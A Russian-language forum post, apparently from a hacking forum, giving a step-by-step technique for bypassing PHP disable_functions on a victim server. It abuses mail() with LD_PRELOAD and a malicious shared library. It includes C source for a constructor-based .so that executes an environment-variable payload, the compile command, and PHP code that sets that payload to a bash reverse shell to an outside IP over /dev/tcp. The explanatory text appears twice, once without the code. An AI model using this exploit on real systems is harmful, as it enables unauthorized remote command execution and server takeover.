Если в disabled_functions не выключена функция mail, часто работает такой трюк:
Пишешь примитивную разделяемую либу, единственное назначение которой при её подгрузке - исполнить команду из переменной, ну, скажем PAYLOAD:
Компилируешь:
Полученую либу (shared.so) загружаешь любым удобным способом на жертву (в раздел диска, смонтированный без noexec).
На жертве вызываешь php фунцию mail(), предварительно записав нужную команду (допустим, reverse shell) в переменную окружения PAYLOAD и путь до загруженной либы в переменную LD_PRELOAD
mail() вызовет системный sendmail, тот подгрузит твою либу, она, в свою очередь исполнит PAYLOAD.
Если нужен stdout/stderr от исполненной нагрузки, можно сохранить вывод команды в файл (... > /tmp/output 2>&1) и прочитать его с помощью, напрмер:
Дерзай )
Пишешь примитивную разделяемую либу, единственное назначение которой при её подгрузке - исполнить команду из переменной, ну, скажем PAYLOAD:
C:
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init(void) {
unsetenv("LD_PRELOAD");
signal(SIGHUP, SIG_IGN);
if (fork() != 0) {
exit(EXIT_SUCCESS);
}
system(getenv("PAYLOAD"));
}
Компилируешь:
Bash:
gcc -fPIC -shared shared.c -o shared.so -ldl
Полученую либу (shared.so) загружаешь любым удобным способом на жертву (в раздел диска, смонтированный без noexec).
На жертве вызываешь php фунцию mail(), предварительно записав нужную команду (допустим, reverse shell) в переменную окружения PAYLOAD и путь до загруженной либы в переменную LD_PRELOAD
PHP:
putenv("PAYLOAD=bash -i &>/dev/tcp/1.1.1.1/8888 <&1"); // подставь свои IP:ПОРТ
putenv('LD_PRELOAD=путь_к_shared.so');
mail('', '', '');
mail() вызовет системный sendmail, тот подгрузит твою либу, она, в свою очередь исполнит PAYLOAD.
Если нужен stdout/stderr от исполненной нагрузки, можно сохранить вывод команды в файл (... > /tmp/output 2>&1) и прочитать его с помощью, напрмер:
PHP:
echo file_get_contents(/tmp/output);
Дерзай )